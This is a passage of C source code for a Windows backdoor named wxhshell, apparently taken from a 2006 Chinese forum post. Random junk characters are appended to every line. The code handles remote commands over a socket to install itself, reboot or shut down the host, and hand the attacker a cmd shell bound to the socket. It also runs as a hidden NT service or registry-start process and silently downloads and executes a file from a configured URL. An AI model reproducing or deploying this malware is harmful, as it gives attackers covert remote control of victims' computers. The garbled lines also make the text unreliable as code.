    switch(cmd[0]) { |yQZt/*SOZ  
  C1m]*}U  
  // 帮助 I+[>I=ewa  
  case '?': { T>2[=J8U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X[&Wkr8x '  
    break; ymx>i~>7J  
  } ZaV8qAsP  
  // 安装 ['B?i1 .  
  case 'i': { &:dH,  
    if(Install()) 0 yuW*z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <b`E_  
    else rA5=dJ"I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x7jC)M<k0  
    break; X.f>'0i  
    } (`c [#0=n  
  // 卸载 -bT)]gA2  
  case 'r': { %yW3VL  
    if(Uninstall()) D(AXk8Vub  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i+S) K  
    else YW_Q\|p]M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r^3acXl  
    break; -EkWs/'h  
    } 'B 43_  
  // 显示 wxhshell 所在路径 $c:ynjL|P-  
  case 'p': { Vzdh8)Mu\  
    char svExeFile[MAX_PATH]; #Ssx!+q?  
    strcpy(svExeFile,"\n\r"); vd 0ljA  
      strcat(svExeFile,ExeFile); <`B,R*H{  
        send(wsh,svExeFile,strlen(svExeFile),0); :D%"EJ  
    break; M<.d8?p )  
    } QS` PpyBkd  
  // 重启 jV>raCK_  
  case 'b': { B8V>NvE~o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4E]l{"k<  
    if(Boot(REBOOT)) 723bkJw V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3=FZ9>by  
    else { snf~}:&   
    closesocket(wsh); toya fHf  
    ExitThread(0); Mc09ES  
    } AX;8^6.F3  
    break; 0?\Zm)Q~(  
    } im9G,e  
  // 关机 wsIW |@  
  case 'd': { &,c``z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;t<QTGJ  
    if(Boot(SHUTDOWN)) z(_Ss@ $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2jg-  
    else { P@$/P99  
    closesocket(wsh); G7qG$wd8h  
    ExitThread(0); P"y`A}Bx  
    } / ';0H_  
    break; juka0/  
    } zR1^I~ %  
  // 获取shell @z4*.S&tz  
  case 's': { ;V*R*R  
    CmdShell(wsh); }XV+gyG=@  
    closesocket(wsh); #(#Wv?r6  
    ExitThread(0); 4e~A1-  
    break; ysxb?6  
  } ko.(pb@+  
  // 退出 R?~Yp?B^  
  case 'x': { =j5MFX.-o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -Zf@VW,NI  
    CloseIt(wsh); s+,OxRVw(  
    break; &]e'KdXF  
    } ~P8tUhffK  
  // 离开 T>}5:,N~  
  case 'q': { -(bXSBs#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7'Zky2F  
    closesocket(wsh); KIui(n#/  
    WSACleanup(); =XucOli6  
    exit(1); uC+V6;  
    break; y.#")IAF  
        } dv8>[#  
  } U3T#6Rptl  
  } cC=[Saatsf  
3 Nreqq  
  // 提示信息 42e|LUZg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S M0~fAtE  
} tZ=E')!\  
  } C${Vg{g7a  
@R/07&lBR  
  return; {sihus#Q  
} ?t/~lv  
r@v,T8  
// shell模块句柄 K`iv c N"  
int CmdShell(SOCKET sock) i]Fp..`v~  
{ Q1O}ly}JS  
STARTUPINFO si; MBt9SXM  
ZeroMemory(&si,sizeof(si)); UR7g`/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vwjPmOjhS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rai3<_W<  
PROCESS_INFORMATION ProcessInfo; ROg(U8 N  
char cmdline[]="cmd"; ?EJD?,}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ??PC k1X  
  return 0; dx;Ysn0-  
} o.w\l\  
_hRcc"MS`  
// 自身启动模式 #33fGmd[  
int StartFromService(void) WM| dKF  
{ mL{B!Q  
typedef struct <(-= 'QA  
{ $FlW1E j  
  DWORD ExitStatus; 0vEoGgY0*:  
  DWORD PebBaseAddress; vy0X_DPCr  
  DWORD AffinityMask; l)Pu2!Ic  
  DWORD BasePriority; 1<BX]-/tP  
  ULONG UniqueProcessId; &<wuJ%'>)Z  
  ULONG InheritedFromUniqueProcessId; {;N,t]>8M  
}   PROCESS_BASIC_INFORMATION; ]l1\? I  
ofPHmh`  
PROCNTQSIP NtQueryInformationProcess; UUzYbuS>&l  
ap&?r`Tu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i=i(%yQ%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v@Gl|29_  
"} q@Y=  
  HANDLE             hProcess; f|h|q_<;  
  PROCESS_BASIC_INFORMATION pbi; :n0vQ5a  
h\5OrD@L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k5D%y3|9  
  if(NULL == hInst ) return 0; ;'5>q&[qbP  
(d(hR0HKE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AvdXEY(-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PJ]];MQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZAv,*5&<  
3&u&x(   
  if (!NtQueryInformationProcess) return 0; \@8+U;d  
n#q<`}u,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *pAV2V(!23  
  if(!hProcess) return 0; u+'tfFds&  
IPgt|if^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "}pNe"ok  
\hBG<nH{0  
  CloseHandle(hProcess); NdL,F;^  
nQ q=7Gu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  @2Z#x  
if(hProcess==NULL) return 0; i\KQ!f>A  
.2%zC & ;  
HMODULE hMod; jUSmq m'  
char procName[255]; Y( 3Bp\6  
unsigned long cbNeeded; 99:C"`E{  
SS$[VV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *a58ZI@  
k p<OJy  
  CloseHandle(hProcess); }emN9Rj  
2 $?C7(kW  
if(strstr(procName,"services")) return 1; // 以服务启动 -i)ZQCE  
Zb1<:[  
  return 0; // 注册表启动 q:dHC,fO  
} t.laO. 3  
~(Q)"s\1I  
// 主模块  _59huC.  
int StartWxhshell(LPSTR lpCmdLine) Ezr:1 GJ  
{  c|M6 <}  
  SOCKET wsl; UD8op]>L  
BOOL val=TRUE;  .Nw=[  
  int port=0; W7U2MqQ  
  struct sockaddr_in door; #=6E\&NC  
zx-81fx+k  
  if(wscfg.ws_autoins) Install(); \De{9v  
c- }X_)U }  
port=atoi(lpCmdLine); VO$ iNK  
8ELCs<xI  
if(port<=0) port=wscfg.ws_port; sC='_h  
TMig-y*[  
  WSADATA data; poToeagZ~Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5\e9@1Rc  
"tB;^jhRs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    OU8Lldt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wzw7tLY._  
  door.sin_family = AF_INET; ,QcF|~n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8>0e*jC  
  door.sin_port = htons(port); my}-s  
:P<]+\m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KU8J bl*   
closesocket(wsl); E=>FjCsu<-  
return 1; .ox8*OO<  
} %d?cP}V  
@>p<3_Y1  
  if(listen(wsl,2) == INVALID_SOCKET) { j!]YNH@  
closesocket(wsl); fZ*+2T>  
return 1; vJ'2@f$  
} s;3={e.  
  Wxhshell(wsl); QKr,g  
  WSACleanup(); ^~3SSLS4"  
r]b_@hT',  
return 0; ~S8*t~  
!t gi  
} mT.u0KUIy  
[/e<l&y  
// 以NT服务方式启动 bI:zp!-.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hJZV}a|  
{ JwAYG5W  
DWORD   status = 0; f}x.jxY?  
  DWORD   specificError = 0xfffffff; H^s<{E0<  
n p\TlUc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; paKSr|O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zo g']=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R )mu2 ^  
  serviceStatus.dwWin32ExitCode     = 0; kzt(i Y_6  
  serviceStatus.dwServiceSpecificExitCode = 0; <})2#sZO!  
  serviceStatus.dwCheckPoint       = 0; w-Da~[J  
  serviceStatus.dwWaitHint       = 0; vTJ}8  
%k'!Iq+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c.>oe*+  
  if (hServiceStatusHandle==0) return; J/[=p<I)  
0cJWJOj&  
status = GetLastError(); yuat" Pg  
  if (status!=NO_ERROR) R}q>O5O  
{ .=X}cJ]`[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uf&myV7  
    serviceStatus.dwCheckPoint       = 0; [%77bv85.G  
    serviceStatus.dwWaitHint       = 0; x "^Xj]-  
    serviceStatus.dwWin32ExitCode     = status; P] UJ0b  
    serviceStatus.dwServiceSpecificExitCode = specificError; { S3ZeN,kZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $`)/0{qY-  
    return; ug+io mZ  
  } MLRK74D  
xwJH(_-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; my4giC2a  
  serviceStatus.dwCheckPoint       = 0; _Ou WB"  
  serviceStatus.dwWaitHint       = 0;  Kfh|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :'~ Y  
} f;1K5Y  
/.Ww6a~  
// 处理NT服务事件,比如:启动、停止 r[lF<2&*R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %<an9WMF  
{ *Df,Ijh$  
switch(fdwControl) \E% 'Y  
{ E ,|xJjh  
case SERVICE_CONTROL_STOP: )6|yb65ZUX  
  serviceStatus.dwWin32ExitCode = 0; rL+!tH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]3KhgK%c8  
  serviceStatus.dwCheckPoint   = 0; CS==A57I  
  serviceStatus.dwWaitHint     = 0; E#u l IgD  
  { v" OY 1<8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9hOJvQ2U]  
  } %we u 1f  
  return; J|w\@inQ  
case SERVICE_CONTROL_PAUSE: V>A .iim  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -Xxqm%([71  
  break; x)rM/Kq  
case SERVICE_CONTROL_CONTINUE: {j:hod@-:5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W!?7D0q  
  break; bpKZ3}U  
case SERVICE_CONTROL_INTERROGATE: ~~SwCXZ+b^  
  break; >i5acuth  
}; b0Kc^uj5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Sgaem`  
} 1Dv R[Lx%  
{`K m_<Te!  
// 标准应用程序主函数 QrYpZZ;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) * v75O7l  
{ {a4z2"\A  
)0Me?BRp  
// 获取操作系统版本 \ aHVs  
OsIsNt=GetOsVer(); U2ZD]q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \9/ b!A  
Lz:(6`S  
  // 从命令行安装 { Fawt:  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,)iKH]lY=  
TW[_Ko86  
  // 下载执行文件 ?)`L$Vr=  
if(wscfg.ws_downexe) { 5lm<%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d"6&AJ5a  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,:Lb7bFv>  
} [L:o`j  
|=$-Wu  
if(!OsIsNt) { +eX@U;J,g  
// 如果时win9x,隐藏进程并且设置为注册表启动 4)U.5FBk )  
HideProc(); ?84 s4BpV1  
StartWxhshell(lpCmdLine); ,ztI,1"k  
} ?ON-+u  
else !-,t'GF(  
  if(StartFromService()) Fv Jd8kV  
  // 以服务方式启动 H Ge0hl[n  
  StartServiceCtrlDispatcher(DispatchTable); DM}YJ  
else 8[J}CdS  
  // 普通方式启动 /ig:9R  
  StartWxhshell(lpCmdLine); Um: Hrjw  
dO4{|(z  
return 0; AiK  
}
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只看该作者 1 发表于: 2006-10-10
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